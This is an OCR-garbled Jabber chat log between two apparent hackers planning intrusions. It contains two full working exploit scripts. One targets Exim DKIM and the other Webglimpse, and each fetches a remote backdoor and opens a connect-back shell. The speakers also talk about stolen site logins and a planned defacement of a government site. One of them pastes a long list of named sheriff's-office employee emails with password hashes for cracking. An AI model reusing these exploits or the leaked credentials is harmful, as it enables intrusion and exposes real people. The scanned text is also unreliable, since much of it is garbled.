Conver sation with yohoho@j abber .ccc.de at 2/19/2012 10:50:56 PM on
L eonDavidson@jabber .or g/jabber.org (jabber)

(10:50:56 PM) yohoho@)j abber .ccc.de: yooyo

(10:53:55 PM) yohoho@)j abber .ccc.de: yo

(10:56:36 PM) leondavidson@j abber .or g/jabber.org: yo fam

(10:56:55 PM) leondavidson@j abber .or g/jabber.org: fucking sick . healh int to well riht now
(10:57:16 PM) leondavidson@j abber .or g/jabber.or g: http://mibpaste.com/HRwqiz = chamber of
commerce

(10:57:56 PM) leondavidson@j abber .or g/jabber .or g: whats good with you?

(10:59:56 PM) yohoho@j abber .ccc.de: hrmm?

(10:59:57 PM) yohoho@)j abber .ccc.de: ok well

(11:00:00 PM) yohoho@j abber .ccc.de: | was going to pick your brain

(11:00:08 PM) yohoho@j abber .ccc.de: we may need to try to tap into some Oday materials
(11:00:14 PM) yohoho@j abber .ccc.de: to get this digital surveillance target

(11:00:25 PM) leondavidson@j abber .or g/jabber.org: ja

(11:00:25 PM) yohoho@j abber .ccc.de: we've never been closer to getting some hot material than
now, other than stratfor

(11:00:27 PM) yohoho@j abber .ccc.de: 80+ spools

(11:01:37 PM) leondavidson@j abber .or g/jabber .org: mhm sorry | been away past few days.
getting sick gain+family but i've been talkin to ppl

(11:01:44 PM) leondavidson@j abber .or g/jabber.or g: looking for any ides

(11:02:09 PM) yohoho@j abber.ccc.de: if you can take out any reference to host names, ips, or
any other info that gives away target

(11:02:16 PM) yohoho@j abber .ccc.de: then show that ps -aux to your people

(11:02:20 PM) yohoho@j abber .ccc.de: we really need this box

(11:05:08 PM) leondavidson@j abber .or g/jabber.org: yup

(11:13:53 PM) yohoho@j abber .ccc.de: what about al that research your friend had?

(11:13:58 PM) yohoho@j abber .ccc.de: any local shit ?

(11:28:58 PM) yohoho@j abber.ccc.de: any local shit in that research your friend stole form
kcope?

(11:29:08 PM) yohoho@j abber .ccc.de: do you have a copy of it? let me take alook

(11:38:20 PM) leondavidson@j abber .or g/jabber .or g: theres adebian local root | showed you
(11:38:25 PM) leondavidson@j abber .or g/jabber.or g: and bunch of other random research
(11:38:26 PM) yohoho@j abber .ccc.de: had that

(11:38:28 PM) yohoho@j abber.ccc.de: |d_audit

(11:38:37 PM) leondavidson@j abber .or g/jabber.org: I'll upload the 1gb of research to new
server

(11:38:39 PM) leondavidson@j abber .or g/jabber.org: over night

(11:38:42 PM) yohoho@j abber .ccc.de: k

(11:39:00 PM) leondavidson@j abber .or g/jabber .or g: theres some exim research in there. and as
| recall this box had both sendmail and exim

(11:39:02 PM) leondavidson@j abber .or g/jabber.org: might be interesting

(11:39:13 PM) yohoho@j abber .ccc.de: yes

(11:42:14 PM) leondavidson@j abber .or g/jabber .or g: #!/usr/bin/python

# Prerequisities are: #
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# pydkim #

# hashlib #

# dns.resolver #

#HH

# Remote exploit for Exim dkim 4.70 < 4.76 #
# Platform indipendet even sparc #

# Havefun with it! #

##

import email

from emaill. MIMEText import MIMEText

from email.MIM Elmage import MIMEImage

from email.MIMEMultipart import MIMEMuulti part
import smtplib

import dkim

import sys

import time

def evil_send(shoot,target):

print "[*] Step 3 [*]\n"

try:

smtp = smtplib.SMTP(target)

smtp.sendmail (‘root@' + target, 'root@' + target, shoot)
smtp.quit()

except Exception, €

print >>sys.stderr, €

try:

smtp = smtplib.SMTP(target)

smtp.sendmail (‘'root @l ocal host', 'root@local host', shoot)
smtp.quit()

except Exception, e

print >>sys.stderr, €

return
def mail_magic(target,myip,myport,trojan):

msg = MIMEText("Please come visit us at http://www.acheapviagra.com™)
msg['Subject] = "Buy Cheap Viagra'

print "[*] Step 1 [*]"

sign_it(msg,target, myip,myport,trojan)

return

def sign_it(mailin,target, myip,myport,trojan):
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print "[*] Step 2 [*]"

selector = "root"

execP = "${ run{/bin/sh -c \"wget " + trojan + " -O /tmp/c.pl && perl /tmp/c.pl " + myip+"" +
myport + " && sleep 10000\"}}" # nc hack

print execP

execP = execP.replace(" ", "\\x20");

print execP

domain = execP

execS = execP + "@" + domain

sig = dkim.sign(mailin.as_string(),selector, domain, open("./dkim.private.key", "r").read(),
identity = execS)

ownage = sig + mailin.as_string()

evil_send(ownage,target)

if _name_=='_ main

if len(sys.argv) <5:

sys.stderr.write('\n[*] Universal Exim DKIM exploit 4.70 < 4.76 [*]\n' + 'Usage: ' + sys.argv[Q]
+ "host ' + 'ipconnectback ' + ‘portconnectback ' + 'backdoortrojanurl’ \n\n")

sys.exit(1)

mail_magic(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4])

(11:42:23 PM) leondavidson@j abber .or g/jabber.org: what version of exim on this gay box/?
(11:43:11 PM) leondavidson@j abber .or g/j abber .or g: obscure and unrelated bug:
(11:43:14 PM) leondavidson@j abber .or g/jabber .or g: #/usr/bin/perl

# Remote Command Execution Webglimpse

# We owned mi6.gov.uk with this:-)

# Proof put this on google :) http://www.mi6.gov.uk/cgi-

bin/webglimpse.cgi ?cache=yes& ID=1& query=

# Glad they updated their site :-)

# For all these people whos asking who we are, we are just the Man,behind the scene :>
# Have fun with it

# Forthe pwnie award for most easy bug, and most epic fail by uk's gov :-)

# Greetz: blackhats

use LWP::UserAgent;

sub usage{
print "\n[*] Remote Exploit Command Execution WebGlimpse [*]\n";

print "[*] Usage: " . $0 . " target " . " ipconnectback " . " portconnectback remotebackdoor[*]\n"

print "[*] Example:" . $0 . " http://192.168.1.4/cgi-bin/ " . "192.168.1.3" . "5555
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http://blabla.com/backdoor.txt[*]\n\n";
exit;

}

sub own_it{

my @target;

for($index = 0; $index < 4 ; $index++){
$target[$index] = $_[$index];

}

$cmd ="\'" . "wget -O /tmp/11cae6815dbab " . $target[3] . "\";

$cmdrun ="\'l" . "perl /tmp/11cae6815dbab " . $target[1] . " " . $target[2] . "|\";

$deletebackdoor ="\'|" . "rm /tmp/11cae6815dba6" . "\"';

my $tricky = $target[0] . "webglimpse.cgi?ID=1& query="". $cmd .

"&rankby=DEFAULT& errors=0& age=& maxfiles=20& max|ines=10& maxchars=2000& wordsp
an=& cache=yes& prepath=& insertbefore=& postpath==& cache=yes& prepath=& insertbefore=& p
ostpath=";

my $runit = $target[0] . "webglimpse.cgi?ID=1& query=" . $cmdrun .

"&rankby=DEFAULT & errors=0& age=& maxfiles=20& maxlines=10& maxchars=2000& wordsp
an=& cache=yes& prepath=& insertbefore=& postpath==& cache=yes& prepath=& insertbefore=& p
ostpath=";

my $delback = $target[0] . "webglimpse.cgi?ID=1& query="". $deletebackdoor .

" & rankby=DEFAULT & errors=0& age=& maxfiles=20& maxlines=10& maxchars=2000& wordsp
an=& cache=yes& prepath=& insertbefore=& postpath==& cache=yes& prepath=& insertbefore=& p
ostpath=";

#print $tricky;

#print $runit;

my $ua= new LWP::UserAgent;

print "Step 1: Injecting Backdoor \n";

my $response = $ua->get($tricky);

print " Step 2: Run Backdoor (Check your shell at nc listening port)\n";

my $response = $ua->get($runit);

print "Step 3: Delete the backdoor (After you exit from nc listening backdoor it will gets deleted
from server :-) ) \n";

my $response = $ua->get($del back);

}

if (S#ARGV 1= 3){
usage();

}
own_it(SARGV[0], $ARGV[1], $ARGV[2], $ARGV[3], $ARGV[4]);
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(10:55:58 AM) leondavidson@jabber .or g/jabber.org: yo

(10:56:00 AM) OTR Error: You sent encrypted data to yohoho@jabber .ccc.de, who wasn't
expecting it.

(10:56:04 AM) Successfully refreshed the unverified conver sation with

yohoho@j abber .ccc.de/ghost.

(10:56:04 AM) Thelast message to yohoho@j abber .ccc.de was resent.

(11:00:40 AM) leondavidson@j abber .or g/jabber.or g: just got about 1.4 gb of user logins from
youporn.com. includes mad .gov employees. looking for security companies

(5:24:33 PM) yohoho@j abber .ccc.de: yo

(5:33:18 PM) leondavidson@jabber .or g/jabber.org: yo yo

(5:33:26 PM) yohoho@j abber .ccc.de: JA just hit me up and was asking for your info again
(5:33:42 PM) leondavidson@jabber .or g/jabber.org: give him thine jabber then

(5:34:17 PM) leondavidson@j abber .or g/jabber.org: (11:00:40 AM)

leondavidson@j abber .org/jabber.org: just got about 1.4 gb of user loginsfrom
youporn.com. includes mad .gov employees. looking for security companies
(5:34:19 PM) leondavidson@j abber .or g/jabber .org: you get that?

(5:35:30 PM) yohoho@j abber .ccc.de: yes| did

(5:35:30 PM) yohoho@j abber .ccc.de: intereting

(5:35:31 PM) yohoho@j abber .ccc.de: aso

(5:35:41 PM) yohoho@j abber .ccc.de: greece busted some kids over the ministryofjustice.gr hack
(5:35:57 PM) leondavidson@jabber .or g/jabber.or g: thats crazy / sad. read about it

(5:36:00 PM) leondavidson@jabber .or g/jabber.org: but im confused by it

(5:36:14 PM) leondavidson@jabber .or g/jabber.org: didn't you give them that? so how did 3
random greekos got loced upf or it?

(5:36:16 PM) leondavidson@j abber .or g/jabber.org: locked up for it

(5:36:21 PM) leondavidson@jabber .or g/jabber.or g: or were they random ass kids?

(5:36:50 PM) yohoho@j abber .ccc.de: well

(5:36:54 PM) yohoho@j abber .ccc.de: | talked to two kids total

(5:36:58 PM) yohoho@j abber .ccc.de: one knew about it had nothign to do with it

(5:37:12 PM) yohoho@j abber .ccc.de: the other helped alittle but | pretty much just gave him
FTPinfo and said let er rip

(5:37:13 PM) yohoho@j abber .ccc.de: but

(5:37:15 PM) yohoho@j abber .ccc.de: it is till vuln

(5:37:19 PM) yohoho@j abber .ccc.de: and about to be defaced again XD

(5:37:22 PM) leondavidson@jabber .or g/jabber.org: yup

(5:37:24 PM) leondavidson@jabber .or g/jabber.org: doit up son

(5:37:30 PM) leondavidson@jabber .or g/jabber.org: in solidarity for those 3 getting arrested
(5:37:31 PM) leondavidson@j abber .or g/jabber.org: in fact

(5:37:40 PM) leondavidson@j abber .or g/jabber.or g: say something like. the real hacker behind
the attack is still free.

(5:37:49 PM) yohoho@j abber .ccc.de: exactly

(5:37:52 PM) leondavidson@j abber .or g/jabber.or g: and the 3 they arrested were innocent
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(5:42:19 PM) leondavidson@j abber .or g/jabber.org: | think we're disowning wikileaks after this
(5:46:30 PM) yohoho@j abber .ccc.de: yeah | sort of agree

(5:46:33 PM) yohoho@j abber .ccc.de: we can assemble our own team

(5:46:36 PM) yohoho@j abber .ccc.de: to parse materias, render, deploy

(5:46:57 PM) leondavidson@jabber .or g/jabber.or g: we have ateam. we have good support
system

(5:46:59 PM) leondavidson@jabber .or g/jabber.org: we can actually do alot

(5:47:18 PM) leondavidson@j abber .or g/jabber.or g: problem is you and | have been a bit
dcentralized from the rest of the group. you're doing your own shit im floating around doing my
own thing

(5:47:30 PM) leondavidson@j abber .or g/jabber.org: so I'm going to work with jc/elche or elche
to seup comms

(5:47:33 PM) leondavidson@jabber .or g/jabber.or g: get everybody organized again

(5:47:39 PM) yohoho@j abber .ccc.de: yeah maybe we should ditch jc

(5:47:43 PM) yohoho@j abber .ccc.de: the whole chinese intelligence thing

(5:47:44 PM) leondavidson@jabber .or g/jabber.org: yeah

(5:48:22 PM) yohoho@j abber .ccc.de: ok it's up

(5:48:54 PM) leondavidson@jabber .or g/jabber.org: ok nice

(5:48:55 PM) leondavidson@j abber .or g/jabber.org: | seeit

(5:49:05 PM) yohoho@j abber .ccc.de: wait for the 'official’ tweet | guess

(5:49:07 PM) leondavidson@jabber .or g/jabber.org: the message says that the 3 teens are
innocent yes?

(5:49:13 PM) yohoho@j abber .ccc.de: yes

(5:49:23 PM) yohoho@j abber .ccc.de: ok wait

(5:49:26 PM) yohoho@j abber .ccc.de: heisstill tweaking

(5:51:07 PM) leondavidson@j abber .or g/jabber .org: ok waiting

(5:51:16 PM) leondavidson@jabber .or g/jabber.org: thisis actualy really cool.

(5:51:23 PM) leondavidson@jabber .or g/jabber.org: what are the greeks saying about those
arrested? its fucked up!

(5:51:32 PM) yohoho@j abber .ccc.de: dunno, will have to trand ate

(5:51:49 PM) yohoho@j abber .ccc.de: ok maybe

(5:53:06 PM) yohoho@j abber .ccc.de: damnit elche taking forever

(5:53:08 PM) yohoho@j abber .ccc.de: can you do this?

(5:53:17 PM) yohoho@j abber .ccc.de: ‘while we burn down their banks, we will burn down their
websites

(5:53:19 PM) yohoho@j abber .ccc.de: or something

(5:53:30 PM) yohoho@j abber .ccc.de: gogogo

(5:53:55 PM) yohoho@j abber .ccc.de: damnit

(5:54:31 PM) leondavidson@jabber .or g/jabber.org: yup

(5:54:47 PM) yohoho@j abber .ccc.de: burn down banks

(6:01:30 PM) leondavidson@jabber .or g/jabber.or g: this nigga sounds like afed to me
(6:01:31 PM) leondavidson@jabber .or g/jabber.or g: honestly

(6:01:37 PM) yohoho@j abber .ccc.de: who 7

(6:01:39 PM) leondavidson@jabber .or g/jabber.org: how sure you are these are wikileaks?
(6:01:46 PM) leondavidson@jabber .or g/jabber.org: so called JA

(6:01:55 PM) yohoho@j abber .ccc.de: | explained this before
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(6:02:02 PM) yohoho@j abber .ccc.de: they confirmed afew times from @wikileaks twitter
(6:02:12 PM) leondavidson@jabber .or g/jabber.org: | dont know son

(6:02:17 PM) leondavidson@jabber .or g/jabber.or g: this nigga sounds weird

(6:02:22 PM) yohoho@j abber .ccc.de: heis being sketchy to me aswell

(6:03:08 PM) yohoho@j abber .ccc.de: yeah man I'm bout to say fuck it

(6:03:10 PM) yohoho@j abber .ccc.de: but

(6:03:14 PM) yohoho@j abber .ccc.de: he did agree to 2 weeks

(6:03:18 PM) yohoho@j abber .ccc.de: that was alittle more than aweek ago

(6:03:26 PM) yohoho@j abber .ccc.de: err, alittle less than a week ago

(6:03:27 PM) leondavidson@jabber .or g/jabber.org: let it rock for now

(6:05:19 PM) leondavidson@j abber .or g/jabber.or g: in the meantime I'm going to link up with
elche and try to get this comms set up. we need our team to function

(6:05:27 PM) yohoho@j abber .ccc.de: ok

(6:05:28 PM) yohoho@j abber .ccc.de: but

(6:05:30 PM) yohoho@j abber .ccc.de: whatever we do

(6:05:33 PM) yohoho@j abber .ccc.de: it hasto be very compartmentalized

(6:05:48 PM) yohoho@j abber .ccc.de: not everyone needs to know about what everybody is doing
(6:05:53 PM) leondavidson@jabber .or g/jabber.org: yup

(6:06:26 PM) leondavidson@j abber .or g/jabber.or g: we might have to do things on levels. our
core core group be in one chan. secondary people be on another comms or another chan. or
affiliates be segregated completely

(6:06:47 PM) yohoho@j abber .ccc.de: yeah | agree

(6:06:50 PM) yohoho@j abber .ccc.de: need to get off cryto

(6:06:53 PM) leondavidson@jabber .or g/jabber.org: yup

(6:24:24 PM) leondavidson@jabber .or g/jabber.org: these guys are amatuers

(6:24:31 PM) leondavidson@jabber .or g/jabber.org: get social engineered like abunch of virgins
(6:24:47 PM) leondavidson@j abber .or g/jabber.org: (6:23:36 PM)

ardeditor @] abber.ccc.de: Just yesterday the editor ran another huge story wipping
up awar with iran over the IAEA and an even larger persona attack against JA
(6:24:14 PM) leondavidson@j abber .or g/jabber .or g: so you aren't JA. who are you?
(6:24:49 PM) leondavidson@jabber .or g/jabber .or g: teeee

(6:24:52 PM) leondavidson@jabber .or g/jabber.org: hee

(6:25:30 PM) yohoho@j abber .ccc.de: yes he did the same thing to me

(6:25:42 PM) yohoho@j abber .ccc.de: "

4.37

ardeditor @jabber.ccc.de

4:37

there's an extremely serious matter in there about assange”
(6:25:45 PM) yohoho@j abber .ccc.de: liek wtf

(6:25:47 PM) leondavidson@j abber .or g/jabber.org: lol

(6:26:29 PM) yohoho@j abber.ccc.de: hey aso

(6:26:32 PM) yohoho@j abber .ccc.de: we have more hashes for you
(6:26:34 PM) yohoho@j abber .ccc.de: from Icso

(6:26:36 PM) yohoho@j abber .ccc.de: that need cracked... phpbb
(6:26:41 PM) yohoho@j abber .ccc.de: nerdlife@jabber.ccc.de
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(6:28:47 PM) yohoho@j abber .ccc.de: ok

(6:28:48 PM) yohoho@j abber .ccc.de: here

(6:28:58 PM) yohoho@j abber .ccc.de:

it@lcso.org,$H$ivgY pz1BZtQJISIezPL uZt4EMFD6pf.,administrator
steve.spears@I cso.org,$H$I7pdFhmMmM.N6SNINU9Z/iox4/Y palC/,1703
darryl.connelly@I cso.org,$H$IDKY Y COMkH/sv97Nu5nBsQbov7BQuy.,373
larry.wade@l cso.org,$H$9.qfvnu9X ztOgSwRhwPrdY 1x6urM 0z1,290
todd.english@l cso.org,$H$9z381k Qcwbk3pgxhzBzV ks2575BRC/.,955
tom.willis@lcso.org, $HPOUTCWGqW5AYSEQt7Y KpT.6tagMe9rH1,901
eric.clark@Icso.org,$H$94fI CY sk Rhi Pif Cpkggudy9smcN3tz1,1587
jay.gibbons@I cso.org,$H$ODyt22vf.V T.DgshZ6X KCPbsdfl1uS.,1511
jesse.james@l cso.org,$H$90quK y4geFFESWhFIRBpV TDoWw7e0z0,1590
duane.mohr @I cso.org, $H$OWWIIC4ADedcl R.rlingl WDI17IHEkFR/,1639
eugene.arnol d@l cso.org,$H$I/LIOMCPo0rOL gbyf 66L Ostadj SIf81,1908
bob.bal deck @I cso.org,$H$9JpM ..PX/kyVW3Lnr7/Qt.MtHI X e9w.,1768
david.mcdaniel @l cso.org,$H$OWfF2RW/bgkidHIMB4D27enBXINAEJL, 647
evan.rosenstein@I cso.org,$HIIRIT57nWOQL 91DP2qrtbOowY g3saqw1,1291
jeremy.lucroy@l cso.org,$H$9pcNppmad0.tmu8s2AuY V Qf 7eVW4Pg1,1681
tom.goring@I cso.org, $H$9j vPEO/StWAhSQRZFH1UOQC50dwej10,107
seth.luppino@l cso.org,$H$974.rap7nV .Abm/.|.qgKk Cz1A8Th76.,1825
diane.carter @l cso.org,$H$9cHyf9UOhM mvkgjV 3Z8TviFVpOwez51,1689
charna.kelley@l cso.org,$H$9vigOmoh9PY flyf PQNAA1.5fRKRcW3.,2006
corey.pendergraft@l cso.org,$H$9IrPZwD2K B1bdl zzRZTrvCEZGM e25Cs0,1783
bill.reed@I cso.org,$H$9IgRS0JumoovL HXNdJIFmz35m4BKUTFH/,1119
richard.tart @l cso.org,$H$9r| T5ThY QURDt/VgR4IQW8GeGOPK d/0,2057
willis.carter @l cso.org,$H$9sz4nA 0/8m.K/HNmMGbpJSh2L zkH// 70,654
roy.dobbs@Icso.org,$H$9KY .e82F V S97fkcSigB2HV //k.n71,530
jason.mccormick @I cso.org,$H$OwfL PDggzyz8aFUOMb.kLNcM42sal d.,1419
david.marden@lcso.org,$H$9pCol 5Y 7/1yoIMzDgcAKDG5b7NrgjC0,1794
linda.green@I cso.org,$H$IW6zV Ba.foUe8s5mybmQRxaoeA zGn5/,582
thomas.mckane@I cso.org,$H$9QBPar.n2FfRoM gyfDI'Y Zbj CHemhRK .,840
cameron.crews@I cso.org,$H$INX CUPeDG1rAWOf T2/5vFOfusOotbP0,1517
robin.monkman@l cso.org,$H$OxkfrhIDIRnpWaX M X pgynQactsiQ.B.,1339
chris.berry@l cso.org,$H$9Zc5T SRV yadl L rum.vGkoQR1bbMY Xi1,437
wayne.longo@lcso.org,$H$IENX3Y VhXV.Y FHGUH6QI2d9Q9icgHu0,12
james.dilimone@I cso.0org,$H$IY KsWtSOUQV n808.qgxmBHmMexSkqL W.,1150
jonathan.teeter @I cso.org, $H$O1FOHYRX 1gTtHD XU SmadX 7TEFkZ1aZ.,2140
michadl.marden@I cso.org,$H$OwnwePaf pP1Y JTZwGj6TZY vuB9L ulO/,1545
eugene.cusi e@I cso.org,$H$970sW48el V1A cal8l D5seDkbx9HsC.Z/,2098
mike.goss@I| cso.org,$H$9Shef AOgnM OWM dx CmEAXgHGGM Fz75¢/,669
mike.hauss@I cso.org, $H$9/xa2g1cT TaV glwuf OmMsoSOWCSpTL 1,1600
michael .baker @l cso.org, $H$I3R7UO1G8sl odBeuglqGuojckyV 4mal,470
david.causey @I cso.org,$H$ISwWf A CE305fil DGoJSn22PL KM5ul 1 0.,1265
rusty.stewart@I cso.org,$H$9qvFl zvwrH.m6Y 6DiYiGZKgnW1167J,99
tony.gainey @I cso.org, $H$IX bPM 1cgrnh/HAPawWW 1ttez/pp3roB 1,888
mimi.williams@l cso.org, $H$O3WA yk 1liduOaDnbuzrbE1tSSZ62hX 51,1535
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pamel awarren@I cso.org, $H$97eWRkooODEuUjQxdY Q001W.D63LVvF7/,1143
mark.demers@Il cso.org,$H$945akL wDZxxvFwNbrnZ6K i Sgl Thl 0,535
david.pelton@l cso.org,$H$9pod/becB S/FRihxx92updY KBGOZ6AP/,533
richard.winn@I cso.org,$H$9GVONUQgvddsOU2RsRg1psp3nakM M s3/,935
richard.palmer @l cso.org,$H$ORDY /ibDV L6i CPsdhCTPNUNUY GKEY Q/,823
michael .urban@l cso.org, $H$92L WagA QV G/IUa teck8C9l0wDkold/,805
NULL,NULL,Y ahooSeeker [Bot]

shannon.harvey @l cso.org,$H$9CHX noPOM slaay 6t 741V Uj1 0XZN FC40,1269
christopher.spann@l cso.org,$H$9S6zJpU1Cu6HV 907dY K2anESoOmKial,1811
amanda.wolford@l cso.org,$H$IDEY bGhvWg9arUZoHdiEBX8TvC4nXd.,2016
jessica.yearwood @I cso.org,$H$OUiffa D7HH3/a91oRmTY d48HOtRIr.,1936
raymond.rice@l cso.org,$H$ORNDrGL/DGn2GGITIY hsIDgK SV Gg2b1,1772
peter.mendoza@l cso.org,$H$9I1K 10srO/OG2k9t.uaB.8/gk5/0UDf0,1571
toby.farmer @I cso.org,$H$9qcol yeGQL 2f5rfil e4f CG464NxrQ1,1234
jarrod.strickland@Il cso.org,$H$916601HEI SH7A6BG2/1Y emG/r7sxxD.,1638
sheila.dale@lcso.org,$H$I3FDRFRY M 7ROWR8p7mFukL GOO6mMV A 10,1475
shawn.lukens@I cso.org,$H$9/Z300M sTwrZMWe/E9IBF7V brbJnlN/,1422
shawn.deckard@I cso.org,$H$IK . K 2kUMv3rotGuyPgcY Rilae.htfd1,1722
mike.bond@l cso.org,$H$IL RxMu6G/Pu/BZ4IHEK C.JQHcudrbG0,1482
chris.robertson@I cso.org, $H$940PB K Q/u996f6mQ6Thf1vl0/.hjKg/,1521
daneen.hon@l cso.org,$H$953K Bo8Dj pcT 1rpdf KOHPV GUrtRynF1,165
dwight.pickens@I cso.org, SH$OUPKfoERWDY EuF.vDRmY zTtSVIBzd91,1542
gera d.green@Il cso.0rg,$H$9eM hhb/OutRf Szq3TKIDZNQET gtJ7r/,1477
richard.blanchard@l cso.org, $H$9Py X jt8NBIfSWAWhPwrAY yY n2QPotf0,1494
ryan.castillo@l cso.org,$H$OvGFO5n.umyhY gBoBmirUE6zTfOF8A 1,2104
christina.stockett@Il cso.org,$H$9V gs6i 019y CFX L WwWCt5A pBriONg7K G0,2173
gary.gutierrez@I cso.org,$H$9hfM Pc5kK GN/8yp059L 4siL Zb17DrH/,2067

tim. potter @l cso.org, $H$Is.XXWIV .2FwU0.pCj FzD04. EijK/i0,790
michael.yoho@I cso.org,$H$OUKkOIY KwzZD.Wfi8GiJ.ialy/7UOMKi.,1740
maribel.camino@Il cso.org,$H$9yheCCnol D3R TTU.VZRdGJeO76ncu/,2084
robin.meachum@Il cso.org,$H$IfyAqY eal 30puPgBvoL 5WJIr4FwglEl1,1166
ronald.broomes@l cso.org,$H$9GK SuJEoX d1EEhatF/HuPceQQiZGK./,1431
jennifer.lee@I cso.0rg,$H$96i X ak DrMNwy T 1y6ZtVNf7I6NY pOj1,1491
yancy.isaacs@l cso.org,$H$OWIHUNT giaBa0cdlj DzV 80p1QC5kkm1,1227
kurt.niemann@l cso.org,$H$IHDdoK Df G.umV pZC/OH38PKybHJIV kn.,914
jason.dorrier@lcso.org,$H$OLohB.2.tfV s759exbvEmXi9gDL aae., 1680

michael .dollery@l cso.org,$H$OR5Ci 1EtJ07TNxahOD6DDet8AnhX/al,1807
eddie.aguilar @I cso.org,$H$9ud8hpd8FY fK AOHoc1Y 3kU09BIeyK x/,1385
john.neiman@I cso.0rg,$H$9zsIY RGzHMUrV di J7fbRga92IK FY 1t0,742
pati.kersey@lcso.org, $H$IU95/L amaqua/uX R3M KA 59B Fkj4bdx/, 774
charles.robbins@l cso.org,$H$942VyQ.RQhB5UY M/elK3gY LLZDXUC;]/,1203
jimmy.wal ker @ cso.org, $H$IC612HF.iIENXa2ZAXZBY Nc3dgyPCO0,1399
brian.worfel @l cso.org,$H$9.t CFkOychaCU6Jexj zzz2moBM DK 3u/,600
ken.lane@l cso.org,$H$9Imvej zEFtoK M P5OrP5uzzdX 12 JkUt0,481
scott.fitzgeral d@l cso.org, $H$kxHSRxOR6A Q7FAxqceSdZLnWagg2s,1741
jack.frost@lcso.org,$H$9Y LNegM V X g8Fcl 73noFgK ScgqlGH2S1,857
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matt.donnelly@I cso.org, $H$OWSBBSRE8IKvIWK 7GtkL9ZyL TildK 880,1154
robert.boyle@I cso.org,$H$9V u271okOHDol FL aFpulL V 20u018g80/,1712
gabrid.white@lcso.org,$H$OV epY Lk6Cv.KwMrjLCae2rKqZ1TL gB.,1903
tammy.peshek @l cso.0rg, $H$91j0OkpRDHZBGT5ptX Y 8.BWNZhNZz0/0,2077
joshua.cheney@l cso.org,$H$9187K QHkZbCjpb4yl IDTB2GIOZtkND1,1939
ephrom.branton@I cso.org,$H$9ZfLroel rkY VUyux/buNTBzgFNX/Hs0,59
travis,jicha@Ilcso.org, $H$IMD SKreThzw6V 20 PsSIEZalHTN X Pp/,1812
scott.lenninger @l cso.org, $H$OHxmM/ky Td77s1/AggRcgadV 8vNMmgNO0,1256
scott.|edford @l cso.org,$H$IW8Qav3K TZ0fj//kghUEMMO01mHS03z0,1774
john.caston@I cso.org,$H$90PO.I6MhWpl TTY FEBWgUfsUvZbzZG41,1106
lynn.dewitt@l cso.org,$H$9bIV mX Q5HuUcWO/bXtiY [1FZ06chB0y0,131
aex.willits@lcso.org,$H$9IcUyh751Y LiwX CQgFi EwT6JKBVAB4B.,1556
gusty.berry@I cso.org, $H$9B0oX 5yL 70Skl 2w76A BFe8idpQaGr/G1,1403
james.vachon@l cso.org,$H$9L WOEi 1x1JY 5FhJmndwOl.FhwB9el 20,678
joe.schlabach@l cso.org, SH$SONyw9cw7L ub3zi/gL ZPGPO3MNJOkpk.,747
john.meeks@I cso.org,$H$OvrPF3A e421V pl 9HQ8R2bw. WX nhcpm0,476
evan.bailey@l cso.org,$H$rfeGAm.10sFkUShABWIBSY 0Y gapCw.,1915
brian.weddle@I cso.org,$H$92ikzI 8D 10GPBMdL N/f09zB620CEth.,1343
karen.worfel @l cso.org,$H$VSThW3IrNRfqdxtzC7seY X 3kiBszu/,155
john.o'connor @I cso.org,$H$907.1i6N5V Nx1mcOwT73F8jNL4B.b/.,1369
dan.conlee@l cso.org,$H$IUM gOdWoOmgOeHRrnA1xDZZIDPEOsK .,556
chuck.theoba d@l cso.org,$H$ONM AEmML Y GDsQhgk44fY /aJRTC8pfas/,63
james.lewis@Il cso.org,$H$9Z ecE2ai SynESSL UQhRBI1vZZ0doaZ/,86
craig.willis@lcso.org, $H$9I5A 24HX 7/6xvondX csSUbHvNM shfCv0,101
donald.king@I cso.org,$H$OkK PDUPN3GZz/RFhBgjPHi IV e7vCLMZ/,456
marcus.wal ker @l cso.org,$H$9Fcks. 79fUpOlcgzL P7g.fRodmrp/11,2020
william.crotty @Il cso.org,$H$9Jpk SGBgNWhwKwPLrzZAEAaeT XyWI/Y 0,1390

kristinamcgovern@l cso.org,$H$ODWNBA Qq28umfJgynSv7k.fppZZdQ90,1864

william.tabor @I cso.org,$H$91j SZOHDJID .xwOQOujrce3QwPvY p/3.,1228
mike.miranda@Il cso.org, SH$99bMfpH/AmyyZrG4Y UjZdP4eM L QGep/,458
grace.o'toole@l cso.org, $H$IS2X R2AEV UTupcX sCU 75wkPBO8upcD1,2085
jennifer.forst@I cso.org,$H$9A KiM Q03D uts2wd94i R/iwOhfHX 3.J0,1685
denise.cusson@I cso.org,$H$IY rOyOESXK Rpl gU 04/Webai OX X RX X J/,1540
patty.dickerson@I cso.org,$H$9Ih. KHFa6WIQWU1XA18VILOwxQtl.T/,34
barbara.mel gers@l cso.org,$H$Owf2i zZWjQUNNDypWQPmMu6 T3 T8/Fyl.,148
jodi.bowlin@l cso.org,$H$ICL nihrZffdMwRgIRfK 1K oasl 833E2.,1438
amy.bisbo@I cso.org,$H$94A QK jxWZMhkoobvX E6BFXUQMI6zi1D.,614
amber.warren@l cso.org, $H$IMEFQ3PFT Tndj IWJFvthkJtfqBA4.a.,1382
michael .miller @l cso.org, $H$OMhkcdAUCFtJ0sM|J5.JzcPLY WI3A6/,1537

haley.a exander @l cso.org, $H$IFgVONyzY UG HXzZZWHWQqsl/Av2Y TAK1,1754

clay.watkins@I cso.org,$H$96v1fOGL IcDDk7e9X61NQb76.11zDF1,209
brad.|eafers@l cso.org,$H$IX X azwkmJIEOK 96Y /rqnnj9P790jg9z/,1384
jeff.taylor @I cso.org,$H$IWbxyJpi MoEWmMt4sgtgRSs| Uj8A F2J1,548
earl.conyers@lcso.org, SHSIFNEwWfND.gLdOW2tI X TP/ TqTgdR/eul,304
felisha.aguilar @l cso.0org, $H$9IL p71xQumcECgL 1 bDOIO/LADEOONDM., 1690

jesse.hernandez@I cso.org,$H$IPDpumhY T5CrmNQGS5T 71 F4zpZ6doCN/,1688
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gerald.dozier@lcso.org,$H$9Qoy CtUQY C7uL 3i7g5ira2xzmtvZL O.,1357
mornas.colston@| cso.org,$H$Of/IL 7PL | dbf zhl OA tki.Jop2UA/Mm., 111
matthew.farner @Il cso.org, $H$9Z 1zblL ymV z4si QGY kBApm2bo9I 3u.z0,1724
chris.stevens@I cso.org, $H$IUN OwGerm25|cZOtC3Y /IbdkyY m7brl,677
robert.parker @l cso.org,$H$9I3NZmUF.8mioVtQKjONA2L uhXyElis.,929
phil.buffington@I cso.org,$H$9s8ayup/gRD0O14IwRUNK .JvK daGr/0/,1276
